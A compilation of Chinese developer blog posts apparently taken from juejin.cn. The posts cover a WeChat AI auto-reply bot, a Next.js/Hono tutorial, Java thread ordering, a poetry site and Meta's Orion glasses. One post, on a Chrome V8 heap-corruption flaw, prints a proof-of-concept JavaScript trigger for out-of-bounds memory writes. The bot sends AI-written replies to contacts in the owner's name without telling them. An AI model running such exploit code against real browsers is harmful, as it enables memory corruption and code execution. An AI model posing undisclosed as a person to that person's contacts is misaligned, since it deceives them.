WeChat控制类的内容比较多,为了方便阅读,这里只呈现一部分,有需要的朋友可以联系我获取。
class WeChat:
def __init__(self, path, locale="zh-CN"):
# 微信打开路径
self.path = path
# 用于复制内容到剪切板
self.app = QApplication([])
self.lc = WeChatLocale(locale)
# 鼠标移动到控件上
def move(self,element):
x, y = element.GetPosition()
auto.SetCursorPos(x, y)
# 鼠标快速点击控件
def click(self,element):
x, y = element.GetPosition()
auto.Click(x, y)
# 鼠标右键点击控件
def right_click(self,element):
x, y = element.GetPosition()
auto.RightClick(x, y)
# 鼠标快速点击两下控件
def double_click(self,element):
x, y = element.GetPosition()
auto.SetCursorPos(x, y)
element.DoubleClick()
# 打开微信客户端
def open_wechat(self):
subprocess.Popen(self.path)
# 搜寻微信客户端控件
def get_wechat(self):
return auto.WindowControl(Depth=1, Name=self.lc.weixin)
# 防止微信长时间挂机导致掉线
def prevent_offline(self):
self.open_wechat()
self.get_wechat()
search_box = auto.EditControl(Depth=8, Name=self.lc.search)
self.click(search_box)
# 搜索指定用户
def get_contact(self, name):
self.open_wechat()
self.get_wechat()
search_box = auto.EditControl(Depth=8, Name=self.lc.search)
self.click(search_box)
pyperclip.copy(name)
auto.SendKeys("{Ctrl}v")
# 等待客户端搜索联系人
time.sleep(0.3)
search_box.SendKeys("{enter}")
# 鼠标移动到发送按钮处点击发送消息
def press_enter(self):
# 获取发送按钮
send_button = auto.ButtonControl(Depth=15, Name=self.lc.send)
self.click(send_button)
# 检测微信发新消息的用户
def check_new_user(self):
self.open_wechat()
self.get_wechat()
users = []
# 获取左侧聊天按钮
chat_btn = auto.ButtonControl(Name=self.lc.chats)
self.double_click(chat_btn)
# 持续点击聊天按钮,直到获取完全部新消息
item = auto.ListItemControl(Depth=10)
prev_name = item.ButtonControl().Name
while True:
# 判断该联系人是否有新消息
pane_control = item.PaneControl()
if len(pane_control.GetChildren()) == 3:
users.append(item.ButtonControl().Name)
self.click(item)
# 跳转到下一个新消息
self.double_click(chat_btn)
item = auto.ListItemControl(Depth=10)
# 已经完成遍历,退出循环
if prev_name == item.ButtonControl().Name:
break
prev_name = item.ButtonControl().Name
return users
二、获取需要自动聊天的人和对应的prompt
这部分信息我存储在Bmob后端云上面,对应的表结构(表名为:autochat
,创建的字段为:name
、prompt
)和测试的内容如下:
获取信息的时候,我采用了子线程
的方式,每隔300秒获取一次新的需要自动对话的微信和对应的prompt,代码如下:
# Bmob对象
bmob = Bmob(config['bmob_appid'], config['bmob_secret'])
# 存储从Bmob后端云获取到的自动对话的微信名和对应的prompt
name_prompts = {}
# 从Bmob后端云获取自动聊天的微信名和prompt
def get_user_prompt():
users = bmob.findObjects('autochat')
name_prompts.clear()
for user in users:
name_prompts[user.name] = user.prompt
# 每隔5分钟获取一次要自动聊天微信名称和对应的prompt
def run_with_interval():
while True:
get_user_prompt()
time.sleep(300)
if __name__ == "__main__":
t = threading.Thread(target=run_with_interval)
t.start()
三、组装对话上下文和自动对话
这里主要用到了WeChat
类的获取新对话人名字
、获取某个人历史聊天记录
的方法,和Bmob后端云的AI
功能,具体代码如下:
# 执行自动聊天功能
def main():
wechat = WeChat(path=config['wechat_path'])
# 创建一个锁
lock = threading.Lock()
while True:
try:
comtypes.CoInitialize()
# 确保微信操作的线程安全
with lock:
wechat.click(auto.ButtonControl(Name=wechat.lc.facorites))
users = wechat.check_new_user()
if len(users) <= 0:
time.sleep(5)
print("暂时没有新消息")
continue
for user in users:
if user not in name_prompts.keys():
time.sleep(5)
print(f"{user}不在需要自动问答的名单上")
continue
else:
# 获取聊天记录,30这个数字可以调整,越大的话,AI会越了解你,但消耗的token也越多
msgList = wechat.get_dialogs(user, 30)
if len(msgList) <= 0:
continue
# 组装上下文对话记录
ai = []
ai.append({"content": name_prompts[user], "role": "system"})
for msg in msgList:
chatmsg = msg[2].replace('[动画表情]','')
if chatmsg=='':
continue
if msg[1] == user:
ai.append({"content": chatmsg, "role": "user"})
else:
ai.append({"content": chatmsg, "role": "assistant"})
bmob.connectAI()
to = bmob.chat2(ai)
bmob.closeAI()
print('ai:'+to)
if to != "":
wechat.send_msg(user, to)
except Exception as e:
print(e)
来源:juejin.cn/post/7422401535215435788
Next.js 使用 Hono 接管 API
直入正题,Next.js 自带的 API Routes (现已改名为 Route Handlers) 异常难用,例如当你需要编写一个 RESTful API 时,尤为痛苦,就像这样
这还没完,当你需要数据验证、错误处理、中间件等等功能,又得花费不小的功夫,所以 Next.js 的 API Route 更多是为你的全栈项目编写一些简易的 API 供外部服务,这也可能是为什么 Next.js 宁可设计 Server Action 也不愿为 API Route 提供传统后端的能力。
但不乏有人会想直接使用 Next.js 来编写这些复杂服务,恰好 Hono.js 便提供相关能力。
这篇文章就带你在 Next.js 项目中要如何接入 Hono,以及开发可能遇到的一些坑点并如何优化。
Next.js 中使用 Hono
可以按照 官方的 cli 搭建或者照 next.js 模版 github.com/vercel/hono… 搭建,核心代码 app/api/[[...route]]/route.ts
的写法如下所示。
import { Hono } from 'hono'
import { handle } from 'hono/vercel'
const app = new Hono().basePath('/api')
app.get('/hello', (c) => {
return c.json({
message: 'Hello Next.js!',
})
})
export const GET = handle(app)
export const POST = handle(app)
export const PUT = handle(app)
export const DELETE = handle(app)
从 hono/vercel
导入的 handle
函数会将 app 实例下的所有请求方法导出,例如 GET、POST、PUT、DELETE 等。
一开始的 User CRUD 例子,则可以将其归属到一个文件内下,这里我不建议将后端业务代码放在 app/api 下,因为 Next.js 会自动扫描 app 下的文件夹,这可能会导致不必要的热更新,并且也不易于服务相关代码的拆分。而是在根目录下创建名为 server 的目录,并将有关后端服务的工具库(如 db、redis、zod)放置该目录下以便调用。
至此 next.js 的 api 接口都将由 hono.js 来接管,接下来只需要按照 Hono 的开发形态便可。
数据效验
zod 可以说是 TS 生态下最优的数据验证器,hono 的 @hono/zod-validator
很好用,用起来也十分简单。
import { z } from 'zod'
import { zValidator } from '@hono/zod-validator'
import { Hono } from 'hono'
const paramSchema = z.object({
id: z.string().cuid(),
})
const jsonSchema = z.object({
status: z.boolean(),
})
const app = new Hono().put(
'/users/:id',
zValidator('param', paramSchema),
zValidator('json', jsonSchema),
(c) => {
const { id } = c.req.valid('param')
const { status } = c.req.valid('json')
// 逻辑代码...
return c.json({})
},
)
export default app
支持多种验证目标(param,query,json,header 等),以及 TS 类型完备,这都不用多说。
但此时触发数据验证失败,响应的结果令人不是很满意。下图为访问 /api/todo/xxx
的响应结果(其中 xxx 不为 cuid 格式,因此抛出数据验证异常)
所返回的响应体是完整的 zodError 内容,并且状态码为 400
:::tip
数据验证失败的状态码通常为 422
:::
因为 zod-validator 默认以 json 格式返回整个 result,代码详见 github.com/honojs/midd…
这就是坑点之一,返回给客户端的错误信息肯定不会是以这种格式。这里我将其更改为全局错误捕获,做法如下
- 复制 zod-validator 文件并粘贴至
server/api/validator.ts
,并将 return 语句更改为 throw 语句。
if (!result.success) {
- return c.json(result, 400)
}
if (!result.success) {
+ throw result.error
}
- 在
server/api/error.ts
中,编写 handleError 函数用于统一处理异常。(后文前端请求也需要统一处理异常)
import { z } from 'zod'
import type { Context } from 'hono'
import { HTTPException } from 'hono/http-exception'
export function handleError(err: Error, c: Context): Response {
if (err instanceof z.ZodError) {
const firstError = err.errors[0]
return c.json(
{ code: 422, message: `\`${firstError.path}\`: ${firstError.message}` },
422,
)
}
// handle other error, e.g. ApiError
return c.json(
{
code: 500,
message: '出了点问题, 请稍后再试。',
},
{ status: 500 },
)
}
- 在
server/api/index.ts
,也就是 hono app 对象中绑定错误捕获。
const app = new Hono().basePath('/api')
app.onError(handleError)
- 更改 zValidator 导入路径。
- import { zValidator } from '@hono/zod-validator'
+ import { zValidator } from '@/server/api/validator'
这样就将错误统一处理,且后续自定义业务错误也同样如此。
:::note 顺带一提
如果需要让 zod 支持中文错误提示,可以使用 zod-i18n-map
:::
RPC
Hono 有个特性我很喜欢也很好用,可以像 TRPC 那样,导出一个 client 供前端直接调用,省去编写前端 api 调用代码以及对应的类型。
这里我不想在过多叙述 RPC(可见我之前所写有关 TRPC 的使用),直接来说说有哪些注意点。
链式调用
还是以 User CRUD 的代码为例,不难发现 .get
.post
.put
都是以链式调用的写法来写的,一旦拆分后,此时接口还是能够调用,但这将会丢失此时路由对应的类型,导致 client 无法使用获取正常类型,使用链式调用的 app 实例化对象则正常。
替换原生 Fetch 库
hono 自带的 fetch 或者说原生的 fetch 非常难用,为了针对业务错误统一处理,因此需要选用请求库来替换,这里我的选择是 ky,因为他的写法相对原生 fetch 更友好一些,并且不会破坏 hono 原有类型推导。
在 lib/api-client.ts
编写以下代码
import { AppType } from '@/server/api'
import { hc } from 'hono/client'
import ky from 'ky'
const baseUrl =
process.env.NODE_ENV === 'development'
? 'http://localhost:3000'
: process.env.NEXT_PUBLIC_APP_URL!
export const fetch = ky.extend({
hooks: {
afterResponse: [
async (_, __, response: Response) => {
if (response.ok) {
return response
} else {
throw await response.json()
}
},
],
},
})
export const client = hc<AppType>(baseUrl, {
fetch: fetch,
})
这里我是根据请求状态码来判断本次请求是否为异常,因此使用 response.ok,而响应体正好有 message 字段可直接用作 Error message 提示,这样就完成了前端请求异常处理。
至于说请求前自动添加协议头、请求后的数据转换,这就属于老生常谈的东西了,这里就不多赘述,根据实际需求编写即可。
请求体与响应体的类型推导
配合 react-query 可以更好的获取类型安全。此写法与 tRPC 十分相似,相应代码 → Inferring Types
// hooks/users/use-user-create.ts
import { client } from '@/lib/api-client'
import { InferRequestType, InferResponseType } from 'hono/client'
import { useMutation } from '@tanstack/react-query'
import { toast } from 'sonner'
const $post = client.api.users.$post
type BodyType = InferRequestType<typeof $post>['json']
type ResponseType = InferResponseType<typeof $post>['data']
export const useUserCreate = () => {
return useMutation<ResponseType, Error, BodyType>({
mutationKey: ['create-user'],
mutationFn: async (json) => {
const { data } = await (await $post({ json })).json()
return data
},
onSuccess: (data) => {
toast.success('User created successfully')
},
onError: (error) => {
toast.error(error.message)
},
})
}
在 app/users/page.tsx
中的使用
'use client'
import { useUserCreate } from '@/features/users/use-user-create'
export default function UsersPage() {
const { mutate, isPending } = useUserCreate()
const handleSubmit = (e: React.FormEvent ) => {
e.preventDefault()
const formData = new FormData(e.currentTarget)
const name = formData.get('name') as string
const email = formData.get('email') as string
mutate({ name, email })
}
return (
<form onSubmit={handleSubmit}>
<div>
<label htmlFor='name'>Name:label>
<input type='text' id='name' name='name' />
div>
<div>
<label htmlFor='email'>Email:label>
<input type='email' id='email' name='email' />
div>
<button type='submit' disabled={isPending}>
Create User
button>
form>
)
}
OpenAPI 文档
这部分我已经弃坑了,没找到一个很好的方式为 Hono 写 OpenAPI 文档。不过对于 TS 全栈开发者,似乎也没必要编写 API 文档(接口自给自足),更何况还有 RPC 这样的黑科技,不担心接口的请求参数与响应接口。
如果你真要写,那我说说几个我遇到的坑,也是我弃坑的原因。
首先就是写法上,你需要将所有的 Hono 替换成 OpenAPIHono (来自 @hono/zod-openapi, 其中 zod 实例 z 也是)。以下是官方的示例代码,我将其整合到一个文件内
import { createRoute, OpenAPIHono, z } from '@hono/zod-openapi'
import { swaggerUI } from '@hono/swagger-ui'
const app = new OpenAPIHono()
const ParamsSchema = z.object({
id: z
.string()
.min(3)
.openapi({
param: {
name: 'id',
in: 'path',
},
example: '123',
}),
})
const UserSchema = z
.object({
id: z.string().openapi({ example: '123' }),
name: z.string().openapi({ example: 'John Doe' }),
})
.openapi('User')
const route = createRoute({
method: 'get',
path: '/api/users/{id}',
request: {
params: ParamsSchema,
},
responses: {
200: {
content: {
'application/json': {
schema: UserSchema,
},
},
description: 'Retrieve the user',
},
},
})
app.openapi(route, async (c) => {
const { id } = c.req.valid('param')
// 逻辑代码...
const user = {
id,
name: 'Ultra-man',
}
return c.json(user)
})
从上述代码的可读性来看,第一眼你很难看到清晰的看出这个接口到底是什么请求方法、请求路径,并且在写法上需要使用 .openapi
方法,传入一个由 createRoute 所创建的 router 对象。并且写法上不是在原有基础上扩展,已有的代码想要通过代码优先的方式来编写 OpenAPI 文档将要花费不小的工程,这也是我为何不推荐的原因。
定义完接口(路由)之后,只需要通过 app.doc 方法与 swaggerUI 函数,访问 /api/doc 查看 OpenAPI 的 JSON 数据,以及访问 /api/ui 查看 Swagger 界面。
import { swaggerUI } from '@hono/swagger-ui'
app.doc('/api/doc', {
openapi: '3.0.0',
info: {
version: '1.0.0',
title: 'Demo API',
},
})
app.get('/api/ui', swaggerUI({ url: '/api/doc' }))
从目前来看,OpenAPI 文档的生成仍面临挑战。我们期待 Hono 未来能推出一个功能,可以根据 app 下的路由自动生成接口文档(相关Issue已存在)。
仓库地址
附上本文中示例 demo 仓库链接(这个项目就不搞线上访问了)
后记
其实我还想写写 Auth、DB 这些服务集成的(这些都在我实际工作中实践并应用了),或许是太久未写 Blog 导致手生了不少,这篇文章也是断断续续写了好几天。后续我将会出一版完整的我个人的 Nextjs 与 Hono 的最佳实践模版。
也说说我为什么会选用 Hono.js 作为后端服务, 其实就是 Next.js 的 API Route 实在是太难用了,加之轻量化,你完全可以将整个 Nextjs + Hono 服务部署在 Vercel 上,并且还能用上 Edge Functions 的特性。(就是有点小贵)
但不过从我的 Nest.js 开发经验来看(也可能是习惯了 Spring Boot 那套三层架构开发形态),总觉得 Hono 差了点意思,说不出来的体验,可能这就是所谓的全栈框架的开发感受吧。
来源:juejin.cn/post/7420597224516812837
农行1面:Java如何保证线程T1,T2,T3 顺序执行?
你好,我是猿java。
线程是 Java执行的最小单元,通常意义上来说,多个线程是为了加快速度且无需保序,这篇文章,我们来分析一道农业银行的面试题目:如要保证线程T1, T2, T3顺序执行?
考察意图
在面试中出现这道问题,通常是为了考察候选人的以下几个知识点:
1. 多线程基础知识: 希望了解候选人是否熟悉Java多线程的基本概念,包括线程的创建、启动和同步机制。
2. 同步机制的理解:候选人需要展示对Java中各种同步工具的理解,如join()
、CountDownLatch
、Semaphore
、CyclicBarrier
等,并知道如何在不同场景下应用这些工具。
3. 线程间通信:希望候选人理解线程间通信的基本原理,例如如何使用wait()
和notify()
来协调线程。
4. 对Java并发包的熟悉程度: 希望候选人了解Java并发包(java.util.concurrent
)中的工具和类,展示其对现代Java并发编程的掌握。
保证线程顺序执行的方法
在分析完面试题的考察意图之后,我们再分析如何保证线程顺序执行,这里列举了几种常见的方式。
join()
join()
方法是Thread类的一部分,可以让一个线程等待另一个线程完成执行。 当你在一个线程T上调用T.join()时,调用线程将进入等待状态,直到线程T完成(即终止)。因此,可以通过在每个线程启动后调用join()
来实现顺序执行。
如下示例代码,展示了join()
如何保证线程顺序执行:
Thread t1 = new Thread(() -> {
// 线程T1的任务
});
Thread t2 = new Thread(() -> {
// 线程T2的任务
});
Thread t3 = new Thread(() -> {
// 线程T3的任务
});
t1.start();
t1.join(); // 等待t1完成
t2.start();
t2.join(); // 等待t2完成
t3.start();
t3.join(); // 等待t3完成
CountDownLatch
CountDownLatch
通过一个计数器来实现,初始时,计数器的值由构造函数设置,每次调用countDown()方法,计数器的值减1。当计数器的值变为零时,所有等待在await()方法上的线程都将被唤醒,继续执行。
CountDownLatch
是Java并发包(java.util.concurrent)中的一个同步辅助类,用于协调多个线程之间的执行顺序。它允许一个或多个线程等待另外一组线程完成操作。
如下示例代码,展示了CountDownLatch
如何保证线程顺序执行:
CountDownLatch latch1 = new CountDownLatch(1);
CountDownLatch latch2 = new CountDownLatch(1);
Thread t1 = new Thread(() -> {
// 线程T1的任务
latch1.countDown(); // 完成后递减latch1
});
Thread t2 = new Thread(() -> {
try {
latch1.await(); // 等待T1完成
// 线程T2的任务
latch2.countDown(); // 完成后递减latch2
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
}
});
Thread t3 = new Thread(() -> {
try {
latch2.await(); // 等待T2完成
// 线程T3的任务
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
}
});
t1.start();
t2.start();
t3.start();
CountDownLatch
关键方法解析:
- CountDownLatch(int count) : 构造函数,创建一个CountDownLatch实例,计数器的初始值为count。
- void await() : 使当前线程等待,直到计数器的值变为零。
- boolean await(long timeout, TimeUnit unit) : 使当前线程等待,直到计数器的值变为零或等待时间超过指定的时间。
- void countDown() : 递减计数器的值。当计数器的值变为零时,所有等待的线程被唤醒。
Semaphore
Semaphore
通过一个计数器来管理许可,计数器的初始值由构造函数指定,表示可用许可的数量。线程可以通过调用acquire()
方法请求许可,如果许可可用则授予访问权限,否则线程将阻塞。使用完资源后,线程调用release()
方法释放许可,从而允许其他阻塞的线程获取许可。
如下示例代码,展示了Semaphore
如何保证线程顺序执行:
Semaphore semaphore1 = new Semaphore(0);
Semaphore semaphore2 = new Semaphore(0);
Thread t1 = new Thread(() -> {
// 线程T1的任务
semaphore1.release(); // 释放一个许可
});
Thread t2 = new Thread(() -> {
try {
semaphore1.acquire(); // 获取许可,等待T1完成
// 线程T2的任务
semaphore2.release(); // 释放一个许可
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
}
});
Thread t3 = new Thread(() -> {
try {
semaphore2.acquire(); // 获取许可,等待T2完成
// 线程T3的任务
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
}
});
t1.start();
t2.start();
t3.start();
Semaphore
关键方法分析:
- Semaphore(int permits) :构造一个具有给定许可数的Semaphore。
- Semaphore(int permits, boolean fair) :构造一个具有给定许可数的Semaphore,并指定是否是公平的。公平性指的是线程获取许可的顺序是否是先到先得。
- void acquire() :获取一个许可,如果没有可用许可,则阻塞直到有许可可用。
- void acquire(int permits) :获取指定数量的许可。
- void release() :释放一个许可。
- void release(int permits) :释放指定数量的许可。
- int availablePermits() :返回当前可用的许可数量。
- boolean tryAcquire() :尝试获取一个许可,立即返回true或false。
- boolean tryAcquire(long timeout, TimeUnit unit) :在给定的时间内尝试获取一个许可。
单线程池
单线程池(Executors.newSingleThreadExecutor())可以确保任务按提交顺序依次执行。所有任务都会在同一个线程中运行,保证了顺序性。
如下示例代码展示了单线程池如何保证线程顺序执行:
ExecutorService executor = Executors.newSingleThreadExecutor();
executor.submit(new T1());
executor.submit(new T2());
executor.submit(new T3());
executor.shutdown();
单线程这种方法简单易用,适合需要顺序执行的场景。
synchronized
synchronized 是Java中的一个关键字,用于实现线程同步,确保多个线程对共享资源的访问是互斥的。它通过锁机制来保证同一时刻只有一个线程可以执行被Synchronized保护的代码块,从而避免数据不一致和线程安全问题。
如下示例代码,展示了synchronized
如何保证线程顺序执行:
class Task {
synchronized void executeTask(String taskName) {
System.out.println(taskName + " 执行");
}
}
public class Main {
public static void main(String[] args) {
Task task = new Task();
new Thread(() -> task.executeTask("T1")).start();
new Thread(() -> task.executeTask("T2")).start();
new Thread(() -> task.executeTask("T3")).start();
}
}
总结
本文,我们分析了5种保证线程T1,T2,T3顺序执行的方法,依次如下:
- join()
- CountDownLatch
- Semaphore
- 单线程池
- synchronized
在实际开发中,这种需要在业务代码中去保证线程执行顺序的情况几乎不会出现,因此,这个面试题其实缺乏实际的应用场景,纯粹是为了面试存在。尽管是面试题,还是可以帮助我们更好地去了解和掌握线程。
来源:juejin.cn/post/7423196076507562023
丰富的诗词资源!一个现代化诗词学习网站!
大家好,我是 Java陈序员
。
之前,给大家推荐过一个古诗文起名工具,利用古诗文进行起名。
今天,给大家介绍一个现代化诗词学习网站,完美适用于自身、孩子学习背诵古诗词!
关注微信公众号:【Java陈序员】,获取开源项目分享、AI副业分享、超200本经典计算机电子书籍等。
项目介绍
aspoem
—— 现代化诗词学习网站,一个更加注重UI和阅读体验的诗词网站。收集了丰富的诗词资源,用户可以通过作者、诗词、名句快速查找诗词。
功能特色:
- 提供丰富的中国古典诗词资源
- 提供诗词欣赏与学习、拼音标注、注释和白话文翻译
- 提供全站搜索、诗人及词牌名索引以及标签系统方便查找相关主题诗词
- 界面友好,便于用户使用,支持暗黑模式和多种主题
- 注重移动端的适配,支持 PC 和手机端访问
技术栈:
- React
- Next
- Tailwind CSS
- PostgreSQL
项目体验
诗词
丰富的诗词:aspoem
目前已经收集了 6000+ 首诗词。
诗词鉴赏:提供拼音标注、注释和白话文等的展示方式,使诗词更加易于阅读。
摘抄卡片:提供高清大图,支持免费下载。
诗人
海量的诗人:aspoem
目前汇总了 700+ 个诗人、词人。
诗人介绍:提供诗人介绍,以及创作的诗词,方便有针对性的学习。
词牌名&标签&片段
词牌名:收集了多种多样的词牌名,并汇总对应的诗词。
标签:按照近体诗、书籍、诗经、节日、情感等分类进行打标签,方便检索查询。
片段:摘抄经典的名片诗句、词句。
其他功能
检索查询:查找诗人、诗词、名句。
暗黑模式
多种主题
适配移动端
本地运行
前期准备
1、下载代码
git clone https://github.com/meetqy/aspoem.git
2、复制一份 .env.example
并重命名为 .env
aspoem
提供了是否集成 PostgreSQL 两种版本,可自行挑选。
集成 PostgreSQL
1、修改配置文件 .env
中的 PostgreSQL 连接信息
# 后台操作需要的 Token, http://localhost:3000/create?token=v0
TOKEN="v0"
# 本地
POSTGRES_PRISMA_URL="postgresql://meetqy@localhost:5432/aspoem"
POSTGRES_URL_NON_POOLING="postgresql://meetqy@localhost:5432/aspoem"
# 统计相关 没有可不填 不会加载对应的代码
# google analytics id
NEXT_PUBLIC_GA_ID="G-PYEC5EG749"
# microsoft-clarity-id
NEXT_PUBLIC_MC_ID="ksel7bmi48"
2、安装依赖
pnpm install
3、启动项目
pnpm run dev
4、浏览器访问 http://localhost:3000
不集成 PostgreSQL
1、修改 .env
POSTGRES_PRISMA_URL="postgresql://meetqy@localhost:5432/aspoem"
POSTGRES_URL_NON_POOLING="postgresql://meetqy@localhost:5432/aspoem"
改为
POSTGRES_PRISMA_URL="file:./db.sqlite"
POSTGRES_URL_NON_POOLING="file:./db.sqlite"
2、修改 prisma/schema.prisma
中的
datasource db {
provider = "postgresql"
url = env("POSTGRES_PRISMA_URL")
directUrl = env("POSTGRES_URL_NON_POOLING")
}
改为
datasource db {
provider = "sqlite"
url = env("POSTGRES_PRISMA_URL")
directUrl = env("POSTGRES_URL_NON_POOLING")
}
3、将 prisma/sample.sqlite
改为 db.sqlite
4、安装依赖并启动,推荐使用 pnpm
pnpm i
pnpm db:push
pnpm dev
Docker 部署
aspoem
项目提供 Dockerfile 和 docker-compose.yml 文件。Dockfile 用于构建 aspoem
服务镜像,docker-compose.yml 用于启动 aspoem
和一个 PostgresSQl
.
执行以下命令,一键启动项目:
cd aspoem
docker compose up
aspoem
一个致力于分享诗词的平台,为用户提供了一个良好的诗词阅读体验!对于喜欢中国诗词的朋友们来说,真的是一个宝藏。它不仅资源丰富,而且界面简洁,使用起来非常友好。大家快去体验吧~
项目地址:https://github.com/meetqy/aspoem
最后
推荐的开源项目已经收录到 GitHub
项目,欢迎 Star
:
https://github.com/chenyl8848/great-open-source-project
或者访问网站,进行在线浏览:
https://chencoding.top:8090/#/
大家的点赞、收藏和评论都是对作者的支持,如文章对你有帮助还请点赞转发支持下,谢谢!
来源:juejin.cn/post/7419267723782570022
Chrome 浏览器惊现严重漏洞
近期,Chrome 又爆出了一个惊天漏洞,其内部的 JavaScript 引擎 V8 存在不恰当的实现让远程攻击者可以通过精心设计的 HTML 页面对堆损坏进行潜在的攻击。
前置知识
V8 引擎是 Google 开发的开源 JavaScript 引擎
,最初是为 Chrome 浏览器设计的,现在也被 Node.js 和许多其他项目广泛使用。值得注意的是,从 2020 年开始,Edge 浏览器转而使用了 Chromium 项目,这意味着现在的 Microsoft Edge 浏览器确实使用 V8 引擎来执行 JavaScript 代码,与 Google Chrome 浏览器相同。
堆损坏(Heap Corruption)
是一种常见的内存错误,发生在程序错误地操作堆内存时。堆是动态内存分配的区域,程序在运行时可以从堆中分配或释放内存。如果程序不正确地处理这些操作,就可能导致堆损坏。攻击者可能利用堆损坏来执行任意代码,这是许多安全攻击的基础。
漏洞信息
漏洞名称 | Google Chrome 安全漏洞 | 威胁等级 | 高 |
---|---|---|---|
影响产品 | Chromium(Edge、Chrome等) | 影响版本 | 小于等于128.0.6613.84 |
该漏洞已经在新版本的 Chrome 和 Edge 修复,可以更新至最新版本预防该威胁。
漏洞分析
以下是为 ARM64
设备设计的漏洞利用原型,用于触发该漏洞:
var arrx = new Array(150);
arrx[0] = 1.1;
var fake = new Uint32Array(10);
fake[0]= 1;
fake[1] =3;
fake[2]=2;
fake[3] = 4;
fake[4] = 5;
fake[5] = 6;
fake[6] = 7;
fake[7] = 8;
fake[8] = 9;
var tahir = 0x1;
function poc(a) {
var oob_array = new Array(5);
oob_array[0] = 0x500;
let just_a_variable = fake[0];
let another_variable3 = fake[7];
if(a % 7 == 0)
another_variable3 = 0xff00000000; //spray high bytes
another_variable3 = Math.max(another_variable3,tahir);
another_variable3 = another_variable3 >>> 0;
var index = fake[3];
var for_phi_modes = fake[6];
let c = fake[1];
//giant loop for generate cyclic graph
for(var i =0;i<10;i++) {
if( a % 3 == 0){
just_a_variable = c;
}
if( a % 37 == 0) {
just_a_variable = fake[2];
}
if( a % 11 == 0){
just_a_variable = fake[8];
}
if( a % 17 == 0){
just_a_variable = fake[5];
}
if( a % 19 == 0){
just_a_variable = fake[4];
}
if( a % 7 == 0 && i>=5){
for_phi_modes = just_a_variable;
just_a_variable = another_variable3;
}
if(i>=6){
for(let j=0;j<5;j++){
if(a % 5 == 0) {
index = for_phi_modes;
oob_array[index] = 0x500; //zero extends before getting value
}
}
}
for_phi_modes = c;
c = just_a_variable;
}
//zero extend
return [index,BigInt(just_a_variable)];
}
for(let i = 2; i<0x500;i++) {
poc(i); //compile using turbofan
}
poc(7*5);
通过复杂的数组操作和循环逻辑,企图达到越界访问或者修改内存的目的,从而可能实现任意代码执行。脚本的核心部分是利用 TurboFan 编译器优化的特性,通过特定的数据操作来破坏内存结构
。
代码分析
首先代码对如下几个变量进行了初始化,分别为:
- arrx 是一个长度为
150
的数组,初始化第一个元素为 1.1。 - fake 是一个长度为
10
的 Uint32Array,用于存储一系列整数。 - tahir 是一个十六进制的整数值 0x1。
然后就是函数部分,包含了复杂的逻辑和条件判断,主要用于操作和修改 oob_array 和 fake 数组的元素。主要有以下几点信息:
- oob_array 是一个长度为 5 的数组,用于存储操作结果。
- 函数内部使用了多个
局部变量
来从 fake 数组中读取数据,并根据输入参数 a 的不同值改变这些数据。 - 特别是在 a % 5 == 0 的条件下,代码尝试访问
oob_array[index]
,其中 index 是从 fake 数组中获取的。这可能导致越界访问,因为 index 的值可能超出 oob_array 的索引范围。
最后就是通过多次调用 poc 函数,并且特意让 TurboFan 编译器优化这些循环调用。在一些优化过程中,编译器可能未能处理好边界条件,导致安全问题。
关键点
- TurboFan 编译器优化:
TurboFan
是 V8 引擎中的优化编译器,通过频繁调用 poc 函数,脚本试图诱导TurboFan
生成的代码在边界检查上产生漏洞,从而实现越界访问或写入。 - 内存破坏:通过复杂的条件控制流,脚本试图创建出一种可以操纵内存指针的情况(如
index
和for_phi_modes
),从而进行越界写入
,可能导致内存破坏,进一步用于任意代码执行。 - 条件分支与循环:脚本中多次使用复杂的条件判断和循环逻辑来混淆内存操作,可能意在规避一些简单的防护机制,并诱导编译器优化过程中出现漏洞。
来源:juejin.cn/post/7416517826041790514
地表最强全息 AR 眼镜问世!Meta 十年绝密豪赌烧 10 亿,现场开箱老黄亲测
【新智元导读】就在刚刚,小扎携掉最强 AR 眼镜 Orion 登场!Meta 首款 AR 眼镜,苦研十年后,终于诞生了,成本高达 10000 美元。果然,小扎让我们离元宇宙又近了一步。这会是一次全新的范式转变吗?
Meta 首款 AR 眼镜,终于亮相了!
酝酿十年,烧钱数十亿,作为小扎元宇宙宏图大业的一部分,我们今日终于得见 Meta AR 眼镜的真容。
这款名为 Orion 的产品,由带 MicroLED 投影的眼镜、人机交互的腕带、提供计算能力的小盒子组成。
轻快的外观,领先行业的 AR 体验,Meta 再为业内做出开创性的壮举。虚拟现实世界的入口,元宇宙的雏形,或许就是这般样子。
有趣的是,因为制作成本高达 10000 美元,这款眼镜本次仅做展示之用,是产品原型,并不会正式发售。
英伟达老黄已经试戴上了
每个计算平台,都会带来我们与设备交互方式的范式转变。上一次是鼠标、智能手机,这一次,会是 AR 眼镜吗?
此外,在 Meta Connect 2024 发布会上,其他重要产品也悉数亮相——
Meta Quest 3S 头显眼镜发布;Meta Ray-Ban 眼镜上线新功能;Meta 首个拥有多模态能力的开源大模型 Llama 3.2 亮相。
AR 眼镜:元宇宙入口的新范式?
地表最强 AR 眼镜,终于诞生了!
在昨晚的发布会上,小扎激动地向全世界展示了这款地表最强 AR 眼镜。
研发过程,经历了整整十年。目标很简单,但技术挑战却极其艰巨。
目标有多简单,无非是要满足是眼镜而非头戴设备、无线、重量不超过 100g、宽广视野、全息显示、清晰度够高、能捕捉到细节、亮度足、在不同光线下都能看清、显示面积够大、足以呈现电影银幕或多个工作用显示器、能透过它看到外界这些要求罢了。
研发工程师们呕心沥血了整整十年,终于做出了 Orion。
注意,这不是透视效果,这是物理世界上面叠加了全息图
如果收到消息,你不必掏出手机,只要在全息图中做出几个手势,就可以回复了。
远方的人,可以以全息图的形式瞬间传送到你身边。
敲敲手指,你就可以玩纸牌、象棋、全息乒乓球了。
小扎表示,Orion 会给未来的元宇宙世界提供更多入口。
可以说,它包含着 AI 空间计算终极形态的野心。
比起苹果过于笨重的 Vision Pro,Orion 的确有了未来空间计算 AI 设备的雏形。
此次发布的 Orion,具有宽视野显示器,内置无线 AI,是 Meta 十年来一直致力实现的事。
显示器
在 Orion 中,Meta 选择了微型 LED 显示器。
可以说,这款 AR 眼镜的最大挑战,就是显示器。
由于需要以不符合原理的方式弯曲光束,团队需要建造一个全新的显示架构。
它可以让眼镜框架中的微型投影仪将光线射入波导,将纳米级 3D 结构打印到透镜中,使光线发生折射,从而在我们的环境中显示不同深度和尺寸的全息图。
为此,团队没有使用玻璃光学器件,而是使用了碳化硅的新材料。
